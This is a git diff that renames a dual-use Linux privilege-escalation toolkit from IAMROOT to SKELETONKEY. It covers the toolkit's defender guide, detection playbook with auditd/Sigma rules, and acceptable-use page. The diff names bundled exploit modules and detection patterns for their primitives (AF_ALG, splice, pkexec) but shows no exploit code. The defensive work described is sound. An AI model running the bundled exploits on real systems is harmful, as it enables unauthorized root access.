6. Add tests under `tests/`
|
6. Add tests under `tests/`
|
||||||
7. PR. CI runs the matrix. If it lands root on at least one
|
7. PR. CI runs the matrix. If it lands root on at least one
|
||||||
|
|||||||
+34
-34
@@ -1,25 +1,25 @@
|
|||||||
# IAMROOT for defenders
|
# SKELETONKEY for defenders
|
||||||
|
|
||||||
IAMROOT is dual-use: the same binary that runs exploits also ships the
|
SKELETONKEY is dual-use: the same binary that runs exploits also ships the
|
||||||
detection rules to spot them. This document is for the blue team.
|
detection rules to spot them. This document is for the blue team.
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 1. Detect what you're vulnerable to (no system modification)
|
# 1. Detect what you're vulnerable to (no system modification)
|
||||||
sudo iamroot --scan --json | jq .
|
sudo skeletonkey --scan --json | jq .
|
||||||
|
|
||||||
# 2. Deploy detection rules covering every bundled CVE
|
# 2. Deploy detection rules covering every bundled CVE
|
||||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo systemctl restart auditd
|
sudo systemctl restart auditd
|
||||||
|
|
||||||
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
# 3. (Optional) Apply pre-patch mitigations for vulnerable families
|
||||||
sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE
|
sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE
|
||||||
|
|
||||||
# 4. Watch
|
# 4. Watch
|
||||||
sudo ausearch -k iamroot-copy-fail -ts recent
|
sudo ausearch -k skeletonkey-copy-fail -ts recent
|
||||||
sudo ausearch -k iamroot-dirty-pipe -ts recent
|
sudo ausearch -k skeletonkey-dirty-pipe -ts recent
|
||||||
sudo ausearch -k iamroot-pwnkit -ts recent
|
sudo ausearch -k skeletonkey-pwnkit -ts recent
|
||||||
```
|
```
|
||||||
|
|
||||||
## Why a single tool for offense and defense
|
## Why a single tool for offense and defense
|
||||||
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
|
|||||||
Public LPE PoCs ship without detection rules. Public detection rules
|
Public LPE PoCs ship without detection rules. Public detection rules
|
||||||
ship without test corpora. The gap means defenders deploy rules they
|
ship without test corpora. The gap means defenders deploy rules they
|
||||||
never validate against a real exploit, and attackers iterate against
|
never validate against a real exploit, and attackers iterate against
|
||||||
defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
defenders who haven't tuned thresholds. SKELETONKEY closes that loop:
|
||||||
|
|
||||||
- Each module ships an exploit AND the detection rules that catch it.
|
- Each module ships an exploit AND the detection rules that catch it.
|
||||||
- Every CVE in `CVES.md` has a row in the rule corpus.
|
- Every CVE in `CVES.md` has a row in the rule corpus.
|
||||||
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
|
|||||||
### Inventory what's bundled
|
### Inventory what's bundled
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iamroot --list
|
skeletonkey --list
|
||||||
```
|
```
|
||||||
|
|
||||||
Prints every registered module with CVE, family, and one-line summary.
|
Prints every registered module with CVE, family, and one-line summary.
|
||||||
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
|
|||||||
### Run all detectors
|
### Run all detectors
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
iamroot --scan # human-readable
|
skeletonkey --scan # human-readable
|
||||||
iamroot --scan --json # one JSON object → SIEM ingest
|
skeletonkey --scan --json # one JSON object → SIEM ingest
|
||||||
iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
|
||||||
```
|
```
|
||||||
|
|
||||||
Result codes per module:
|
Result codes per module:
|
||||||
@@ -63,23 +63,23 @@ Result codes per module:
|
|||||||
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
| `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
|
||||||
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
| `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |
|
||||||
|
|
||||||
`iamroot --scan` returns the WORST result code across all modules.
|
`skeletonkey --scan` returns the WORST result code across all modules.
|
||||||
Use this in CI to fail builds that produce vulnerable images.
|
Use this in CI to fail builds that produce vulnerable images.
|
||||||
|
|
||||||
### Deploy detection rules
|
### Deploy detection rules
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# auditd (most environments)
|
# auditd (most environments)
|
||||||
sudo iamroot --detect-rules --format=auditd \
|
sudo skeletonkey --detect-rules --format=auditd \
|
||||||
| sudo tee /etc/audit/rules.d/99-iamroot.rules
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo augenrules --load # or systemctl restart auditd
|
sudo augenrules --load # or systemctl restart auditd
|
||||||
|
|
||||||
# Sigma (for SIEMs that ingest sigma)
|
# Sigma (for SIEMs that ingest sigma)
|
||||||
iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
|
skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml
|
||||||
|
|
||||||
# YARA / Falco — placeholders for future modules; currently empty
|
# YARA / Falco — placeholders for future modules; currently empty
|
||||||
iamroot --detect-rules --format=yara
|
skeletonkey --detect-rules --format=yara
|
||||||
iamroot --detect-rules --format=falco
|
skeletonkey --detect-rules --format=falco
|
||||||
```
|
```
|
||||||
|
|
||||||
Rules are emitted in registry order, deduplicated by string-pointer:
|
Rules are emitted in registry order, deduplicated by string-pointer:
|
||||||
@@ -91,19 +91,19 @@ auditd config).
|
|||||||
|
|
||||||
| Key | Modules | What it catches |
|
| Key | Modules | What it catches |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
|
||||||
| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
|
||||||
| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
|
||||||
| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
|
||||||
| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
|
||||||
| `iamroot-pwnkit` | pwnkit | pkexec watch |
|
| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
|
||||||
| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
|
||||||
|
|
||||||
Search:
|
Search:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo ausearch -k iamroot-copy-fail -ts today
|
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||||
sudo ausearch -k iamroot-pwnkit -ts today
|
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||||
```
|
```
|
||||||
|
|
||||||
### Mitigate (pre-patch)
|
### Mitigate (pre-patch)
|
||||||
@@ -114,10 +114,10 @@ distro-portable workarounds:
|
|||||||
```bash
|
```bash
|
||||||
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
# Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
|
||||||
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
# sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
|
||||||
sudo iamroot --mitigate copy_fail
|
sudo skeletonkey --mitigate copy_fail
|
||||||
|
|
||||||
# Revert mitigation (e.g., before applying the real kernel patch)
|
# Revert mitigation (e.g., before applying the real kernel patch)
|
||||||
sudo iamroot --cleanup copy_fail
|
sudo skeletonkey --cleanup copy_fail
|
||||||
```
|
```
|
||||||
|
|
||||||
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report
|
||||||
@@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly:
|
|||||||
```bash
|
```bash
|
||||||
# scan a host list via ssh
|
# scan a host list via ssh
|
||||||
for h in $(cat fleet.txt); do
|
for h in $(cat fleet.txt); do
|
||||||
ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}'
|
ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}'
|
||||||
done | jq -s . > fleet-scan-$(date +%F).json
|
done | jq -s . > fleet-scan-$(date +%F).json
|
||||||
|
|
||||||
# group by vulnerability
|
# group by vulnerability
|
||||||
@@ -148,9 +148,9 @@ modification.
|
|||||||
|
|
||||||
| Rule | False-positive shape |
|
| Rule | False-positive shape |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts |
|
||||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts |
|
||||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate |
|
||||||
|
|
||||||
The shipped rules are starting points. Tune per environment.
|
The shipped rules are starting points. Tune per environment.
|
||||||
|
|
||||||
|
|||||||
+53
-53
@@ -1,6 +1,6 @@
|
|||||||
# IAMROOT detection playbook
|
# SKELETONKEY detection playbook
|
||||||
|
|
||||||
Operational guide for blue teams using IAMROOT defensively. Pairs
|
Operational guide for blue teams using SKELETONKEY defensively. Pairs
|
||||||
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to
|
||||||
make it part of your daily ops" guide.
|
make it part of your daily ops" guide.
|
||||||
|
|
||||||
@@ -8,15 +8,15 @@ make it part of your daily ops" guide.
|
|||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ inventory │ ← iamroot --list (what's bundled?)
|
│ inventory │ ← skeletonkey --list (what's bundled?)
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ scan │ ← iamroot --scan --json (what am I vulnerable to?)
|
│ scan │ ← skeletonkey --scan --json (what am I vulnerable to?)
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ fleet scan │ ← iamroot-fleet-scan.sh hosts.txt
|
│ fleet scan │ ← skeletonkey-fleet-scan.sh hosts.txt
|
||||||
└──────┬──────┘
|
└──────┬──────┘
|
||||||
▼
|
▼
|
||||||
┌────────────┼────────────┐
|
┌────────────┼────────────┐
|
||||||
@@ -29,7 +29,7 @@ make it part of your daily ops" guide.
|
|||||||
└────────────┼────────────┘
|
└────────────┼────────────┘
|
||||||
▼
|
▼
|
||||||
┌─────────────┐
|
┌─────────────┐
|
||||||
│ monitor │ ← ausearch -k iamroot-* / SIEM alerts
|
│ monitor │ ← ausearch -k skeletonkey-* / SIEM alerts
|
||||||
└─────────────┘
|
└─────────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -39,17 +39,17 @@ make it part of your daily ops" guide.
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Daily/weekly hygiene check
|
# Daily/weekly hygiene check
|
||||||
sudo iamroot --scan
|
sudo skeletonkey --scan
|
||||||
|
|
||||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||||
sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
|
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
sudo augenrules --load
|
sudo augenrules --load
|
||||||
sudo iamroot --mitigate copy_fail # or whichever module fired
|
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||||
```
|
```
|
||||||
|
|
||||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||||
|
|
||||||
Use `tools/iamroot-fleet-scan.sh`:
|
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Hosts list — one per line; user@host:port supported
|
# Hosts list — one per line; user@host:port supported
|
||||||
@@ -61,8 +61,8 @@ ops@db-01:2222
|
|||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
# Scan; binary scp'd, run, cleaned up. Output is one JSON doc.
|
||||||
./iamroot-fleet-scan.sh \
|
./skeletonkey-fleet-scan.sh \
|
||||||
--binary ./iamroot \
|
--binary ./skeletonkey \
|
||||||
--ssh-key ~/.ssh/ops_key \
|
--ssh-key ~/.ssh/ops_key \
|
||||||
--parallel 8 \
|
--parallel 8 \
|
||||||
hosts.txt > fleet-scan-$(date +%F).json
|
hosts.txt > fleet-scan-$(date +%F).json
|
||||||
@@ -95,7 +95,7 @@ Output shape:
|
|||||||
|
|
||||||
### Larger fleet (>100 hosts)
|
### Larger fleet (>100 hosts)
|
||||||
|
|
||||||
`iamroot-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
`skeletonkey-fleet-scan.sh` is intentionally simple (parallel ssh). For
|
||||||
fleets too large for SSH-fan-out, wrap it in your config-management
|
fleets too large for SSH-fan-out, wrap it in your config-management
|
||||||
tool of choice:
|
tool of choice:
|
||||||
|
|
||||||
@@ -108,22 +108,22 @@ tool of choice:
|
|||||||
Sample Ansible task:
|
Sample Ansible task:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
- name: scan with iamroot
|
- name: scan with skeletonkey
|
||||||
copy:
|
copy:
|
||||||
src: iamroot
|
src: skeletonkey
|
||||||
dest: /tmp/iamroot
|
dest: /tmp/skeletonkey
|
||||||
mode: '0755'
|
mode: '0755'
|
||||||
- name: run --scan --json
|
- name: run --scan --json
|
||||||
command: /tmp/iamroot --scan --json --no-color
|
command: /tmp/skeletonkey --scan --json --no-color
|
||||||
register: scan
|
register: scan
|
||||||
changed_when: false
|
changed_when: false
|
||||||
failed_when: false # iamroot exit codes are semantic, not errors
|
failed_when: false # skeletonkey exit codes are semantic, not errors
|
||||||
- name: collect
|
- name: collect
|
||||||
set_fact:
|
set_fact:
|
||||||
iamroot_scan: "{{ scan.stdout | from_json }}"
|
skeletonkey_scan: "{{ scan.stdout | from_json }}"
|
||||||
- name: cleanup
|
- name: cleanup
|
||||||
file:
|
file:
|
||||||
path: /tmp/iamroot
|
path: /tmp/skeletonkey
|
||||||
state: absent
|
state: absent
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -133,46 +133,46 @@ Sample Ansible task:
|
|||||||
|
|
||||||
```
|
```
|
||||||
# splunk input config (inputs.conf)
|
# splunk input config (inputs.conf)
|
||||||
[script:///opt/iamroot/iamroot-cron-scan.sh]
|
[script:///opt/skeletonkey/skeletonkey-cron-scan.sh]
|
||||||
interval = 86400
|
interval = 86400
|
||||||
source = iamroot
|
source = skeletonkey
|
||||||
sourcetype = iamroot:scan
|
sourcetype = skeletonkey:scan
|
||||||
```
|
```
|
||||||
|
|
||||||
`iamroot-cron-scan.sh`:
|
`skeletonkey-cron-scan.sh`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
/usr/local/bin/iamroot --scan --json --no-color
|
/usr/local/bin/skeletonkey --scan --json --no-color
|
||||||
```
|
```
|
||||||
|
|
||||||
Search the indexed events:
|
Search the indexed events:
|
||||||
|
|
||||||
```spl
|
```spl
|
||||||
index=iamroot sourcetype="iamroot:scan" modules{}.result=VULNERABLE
|
index=skeletonkey sourcetype="skeletonkey:scan" modules{}.result=VULNERABLE
|
||||||
| stats count by host modules{}.cve
|
| stats count by host modules{}.cve
|
||||||
```
|
```
|
||||||
|
|
||||||
### Elastic / OpenSearch
|
### Elastic / OpenSearch
|
||||||
|
|
||||||
Filebeat module reading the per-host scan JSON files (one per day),
|
Filebeat module reading the per-host scan JSON files (one per day),
|
||||||
indexed into an `iamroot-*` index pattern. Standard Kibana
|
indexed into an `skeletonkey-*` index pattern. Standard Kibana
|
||||||
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
visualization on `modules.cve` over time tracks vulnerability lifecycle.
|
||||||
|
|
||||||
### Sigma → your platform
|
### Sigma → your platform
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Ship Sigma rules into your platform
|
# Ship Sigma rules into your platform
|
||||||
iamroot --detect-rules --format=sigma > /etc/sigma/iamroot.yml
|
skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||||
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
# Convert to your target (Sentinel, Elastic, etc.) via sigmac
|
||||||
sigmac -t elastic /etc/sigma/iamroot.yml
|
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||||
```
|
```
|
||||||
|
|
||||||
## Day-to-day operational shape
|
## Day-to-day operational shape
|
||||||
|
|
||||||
### What "good" looks like in the SIEM
|
### What "good" looks like in the SIEM
|
||||||
|
|
||||||
- Daily `iamroot --scan --json` from every host indexed
|
- Daily `skeletonkey --scan --json` from every host indexed
|
||||||
- Trend dashboard: count of VULNERABLE results by CVE over time
|
- Trend dashboard: count of VULNERABLE results by CVE over time
|
||||||
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
- Goal: every VULNERABLE → OK transition within SLA (e.g., 14 days for
|
||||||
patched-mainline bugs, 24h for actively-exploited)
|
patched-mainline bugs, 24h for actively-exploited)
|
||||||
@@ -181,22 +181,22 @@ sigmac -t elastic /etc/sigma/iamroot.yml
|
|||||||
|
|
||||||
### Auditd events from the embedded rules
|
### Auditd events from the embedded rules
|
||||||
|
|
||||||
After deploying `iamroot --detect-rules --format=auditd`:
|
After deploying `skeletonkey --detect-rules --format=auditd`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# By module key
|
# By module key
|
||||||
sudo ausearch -k iamroot-copy-fail -ts today
|
sudo ausearch -k skeletonkey-copy-fail -ts today
|
||||||
sudo ausearch -k iamroot-dirty-pipe -ts today
|
sudo ausearch -k skeletonkey-dirty-pipe -ts today
|
||||||
sudo ausearch -k iamroot-pwnkit -ts today
|
sudo ausearch -k skeletonkey-pwnkit -ts today
|
||||||
sudo ausearch -k iamroot-nf-tables-userns -ts today
|
sudo ausearch -k skeletonkey-nf-tables-userns -ts today
|
||||||
sudo ausearch -k iamroot-overlayfs -ts today
|
sudo ausearch -k skeletonkey-overlayfs -ts today
|
||||||
|
|
||||||
# Anything iamroot-tagged in the last hour
|
# Anything skeletonkey-tagged in the last hour
|
||||||
sudo ausearch -k 'iamroot-*' -ts recent
|
sudo ausearch -k 'skeletonkey-*' -ts recent
|
||||||
|
|
||||||
# Forward to syslog (rsyslog example)
|
# Forward to syslog (rsyslog example)
|
||||||
# /etc/rsyslog.d/iamroot.conf:
|
# /etc/rsyslog.d/skeletonkey.conf:
|
||||||
:msg, contains, "iamroot-" @@your-siem.example.com:514
|
:msg, contains, "skeletonkey-" @@your-siem.example.com:514
|
||||||
```
|
```
|
||||||
|
|
||||||
### When a VULNERABLE result fires
|
### When a VULNERABLE result fires
|
||||||
@@ -208,11 +208,11 @@ A scan reports VULNERABLE for module X
|
|||||||
│
|
│
|
||||||
├── Q: Can I patch the underlying kernel / package?
|
├── Q: Can I patch the underlying kernel / package?
|
||||||
│ ├── YES → schedule patch window. In the meantime:
|
│ ├── YES → schedule patch window. In the meantime:
|
||||||
│ │ iamroot --mitigate X (if supported)
|
│ │ skeletonkey --mitigate X (if supported)
|
||||||
│ │ Verify auditd rule for X is loaded.
|
│ │ Verify auditd rule for X is loaded.
|
||||||
│ │ Monitor for the rule key.
|
│ │ Monitor for the rule key.
|
||||||
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
│ └── NO (legacy LTS, embedded device, prod freeze) →
|
||||||
│ iamroot --mitigate X (essential)
|
│ skeletonkey --mitigate X (essential)
|
||||||
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
│ Compensating control: tighten LSM (SELinux/AppArmor)
|
||||||
│ Document in risk register
|
│ Document in risk register
|
||||||
│
|
│
|
||||||
@@ -238,7 +238,7 @@ If you applied a mitigation and now need to revert (e.g., the kernel
|
|||||||
patch has rolled out fleet-wide):
|
patch has rolled out fleet-wide):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo iamroot --cleanup copy_fail
|
sudo skeletonkey --cleanup copy_fail
|
||||||
# OR manually:
|
# OR manually:
|
||||||
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
sudo rm /etc/modprobe.d/dirtyfail-mitigations.conf
|
||||||
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||||
@@ -249,11 +249,11 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
|||||||
|
|
||||||
| Rule key | False positive | Fix |
|
| Rule key | False positive | Fix |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `iamroot-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
| `skeletonkey-copy-fail-afalg` | strongSwan, libcrypto using kernel crypto | `-F auid=` exclude service account UIDs |
|
||||||
| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS | `-F gid!=33 -F gid!=99` exclude web service accounts |
|
||||||
| `iamroot-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own re-exec | Correlate by parent process; pkexec via gnome dbus is benign |
|
||||||
| `iamroot-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
| `skeletonkey-nf-tables-userns` | docker rootless, podman, snap confined apps | Whitelist known userns-using service GIDs |
|
||||||
| `iamroot-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
| `skeletonkey-overlayfs` | docker / containerd mounting overlayfs as root | The rule is intended for unprivileged-userns overlayfs mounts; add `-F auid>=1000` |
|
||||||
|
|
||||||
## Pre-patch quarantine pattern
|
## Pre-patch quarantine pattern
|
||||||
|
|
||||||
@@ -261,13 +261,13 @@ If a CVE is in active exploitation and you can't patch immediately:
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Stage 1: detect
|
# Stage 1: detect
|
||||||
sudo iamroot --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
sudo skeletonkey --scan --json | jq '.modules[] | select(.cve == "CVE-XXXX")'
|
||||||
|
|
||||||
# Stage 2: mitigate (where supported)
|
# Stage 2: mitigate (where supported)
|
||||||
sudo iamroot --mitigate <module>
|
sudo skeletonkey --mitigate <module>
|
||||||
|
|
||||||
# Stage 3: monitor — auditd rules already deployed
|
# Stage 3: monitor — auditd rules already deployed
|
||||||
sudo ausearch -k 'iamroot-*' -ts today | grep <module>
|
sudo ausearch -k 'skeletonkey-*' -ts today | grep <module>
|
||||||
|
|
||||||
# Stage 4: contain — temporarily restrict the trigger surface
|
# Stage 4: contain — temporarily restrict the trigger surface
|
||||||
# e.g., for nf_tables CVE-2024-1086:
|
# e.g., for nf_tables CVE-2024-1086:
|
||||||
@@ -281,7 +281,7 @@ sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=1
|
|||||||
|
|
||||||
## Maintenance contract
|
## Maintenance contract
|
||||||
|
|
||||||
When IAMROOT ships a new module:
|
When SKELETONKEY ships a new module:
|
||||||
|
|
||||||
1. CI test passes on at least one vulnerable + patched kernel pair
|
1. CI test passes on at least one vulnerable + patched kernel pair
|
||||||
2. Detection rules ship alongside (auditd + sigma minimum)
|
2. Detection rules ship alongside (auditd + sigma minimum)
|
||||||
@@ -293,7 +293,7 @@ Treat these as the SLA for any blue-team-facing deliverable.
|
|||||||
|
|
||||||
## When you find a new false positive
|
## When you find a new false positive
|
||||||
|
|
||||||
File an issue at https://github.com/KaraZajac/IAMROOT/issues with:
|
File an issue at https://github.com/KaraZajac/SKELETONKEY/issues with:
|
||||||
- The exact ausearch line that fired
|
- The exact ausearch line that fired
|
||||||
- The legitimate process that produced it
|
- The legitimate process that produced it
|
||||||
- Distro / kernel version
|
- Distro / kernel version
|
||||||
|
|||||||
+13
-13
@@ -2,24 +2,24 @@
|
|||||||
|
|
||||||
## Acceptable use
|
## Acceptable use
|
||||||
|
|
||||||
IAMROOT is intended for:
|
SKELETONKEY is intended for:
|
||||||
|
|
||||||
1. **Authorized red-team / pentest engagements.** You have a written
|
1. **Authorized red-team / pentest engagements.** You have a written
|
||||||
scope, signed by someone who can authorize testing on the target
|
scope, signed by someone who can authorize testing on the target
|
||||||
systems.
|
systems.
|
||||||
2. **Defensive teams testing detection coverage.** You're using
|
2. **Defensive teams testing detection coverage.** You're using
|
||||||
IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
|
SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
|
||||||
expected.
|
expected.
|
||||||
3. **Security researchers studying historical LPEs.** You're reading
|
3. **Security researchers studying historical LPEs.** You're reading
|
||||||
the code, running it in your own VMs, learning how the primitives
|
the code, running it in your own VMs, learning how the primitives
|
||||||
actually work end-to-end.
|
actually work end-to-end.
|
||||||
4. **Build engineers verifying patch coverage.** You're running
|
4. **Build engineers verifying patch coverage.** You're running
|
||||||
`iamroot --scan` against your fleet's golden images to confirm
|
`skeletonkey --scan` against your fleet's golden images to confirm
|
||||||
each known CVE shows up as patched.
|
each known CVE shows up as patched.
|
||||||
|
|
||||||
## Not-acceptable use
|
## Not-acceptable use
|
||||||
|
|
||||||
IAMROOT should not be used:
|
SKELETONKEY should not be used:
|
||||||
|
|
||||||
1. On systems you do not own and have not been authorized to test
|
1. On systems you do not own and have not been authorized to test
|
||||||
2. As part of unauthorized access to any system
|
2. As part of unauthorized access to any system
|
||||||
@@ -28,18 +28,18 @@ IAMROOT should not be used:
|
|||||||
4. To build a worm, scanner, or any tool that automatically targets
|
4. To build a worm, scanner, or any tool that automatically targets
|
||||||
systems at scale without per-target authorization
|
systems at scale without per-target authorization
|
||||||
|
|
||||||
By using IAMROOT you assert that your use falls into the
|
By using SKELETONKEY you assert that your use falls into the
|
||||||
acceptable-use cases above.
|
acceptable-use cases above.
|
||||||
|
|
||||||
## Why this is publishable
|
## Why this is publishable
|
||||||
|
|
||||||
Every CVE bundled in IAMROOT is:
|
Every CVE bundled in SKELETONKEY is:
|
||||||
|
|
||||||
- **Already patched** in upstream mainline kernel
|
- **Already patched** in upstream mainline kernel
|
||||||
- **Already published** in NVD or distro security trackers
|
- **Already published** in NVD or distro security trackers
|
||||||
- **Already covered** by existing public PoCs
|
- **Already covered** by existing public PoCs
|
||||||
|
|
||||||
IAMROOT does not introduce new offensive capability. It bundles,
|
SKELETONKEY does not introduce new offensive capability. It bundles,
|
||||||
documents, and CI-tests what is already public — and ships the
|
documents, and CI-tests what is already public — and ships the
|
||||||
detection signatures defenders need to spot it.
|
detection signatures defenders need to spot it.
|
||||||
|
|
||||||
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
|
|||||||
|
|
||||||
## Disclosure
|
## Disclosure
|
||||||
|
|
||||||
If you find a bug in IAMROOT itself (incorrect detection, broken
|
If you find a bug in SKELETONKEY itself (incorrect detection, broken
|
||||||
exploit on a kernel where it should work, missing a backport in the
|
exploit on a kernel where it should work, missing a backport in the
|
||||||
range metadata): file a public GitHub issue.
|
range metadata): file a public GitHub issue.
|
||||||
|
|
||||||
If you find a **new 0-day kernel LPE while inspired by reading
|
If you find a **new 0-day kernel LPE while inspired by reading
|
||||||
IAMROOT code**: please disclose it responsibly to the kernel
|
SKELETONKEY code**: please disclose it responsibly to the kernel
|
||||||
security team (`security@kernel.org`) and the affected distros
|
security team (`security@kernel.org`) and the affected distros
|
||||||
*before* writing a public PoC. Once upstream patch ships and a CVE
|
*before* writing a public PoC. Once upstream patch ships and a CVE
|
||||||
is assigned, IAMROOT will gladly accept the module.
|
is assigned, SKELETONKEY will gladly accept the module.
|
||||||
|
|
||||||
## Persistence and stealth are out of scope
|
